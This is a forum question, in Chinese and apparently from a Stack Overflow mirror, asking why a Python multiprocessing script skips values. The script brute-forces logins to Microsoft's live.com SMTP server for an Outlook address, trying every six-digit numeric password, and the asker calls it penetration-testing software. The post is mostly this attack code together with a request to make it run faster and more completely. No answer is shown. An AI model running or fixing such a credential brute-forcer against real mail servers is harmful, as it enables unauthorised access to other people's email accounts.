我正试图用python制作一个渗透测试软件,但是当我使用多处理时,它跳过了单词表的一部分。我正在用六位密码模拟单词列表。你知道吗
如果我只写print(value),它就会成功,但是对于下面所有的mailserver登录,它会跳过部分值。你知道吗
import smtplib
import multiprocessing
mailserver = smtplib.SMTP('smtp.live.com',587)
mailserver.ehlo()
mailserver.starttls()
def testvalue(value):
print(value)
try:
mailserver.login('email@outlook.com', str(value))
print(value)
raise ValueError(value)
except smtplib.SMTPAuthenticationError:
nothing=True
pooll=multiprocessing.Pool(12)
pooll.map(testvalue,range(100000,999999))
pooll.close()
mailserver.quit()
结果应该是一个从100000到999999的连续数字列表,以及一个带有实际密码的ValueError断点。我看到的数字有很大的跳过,例如200000,210500,而这个列表并没有想象的那么大。你知道吗
目前没有回答
相关问题 更多 >
编程相关推荐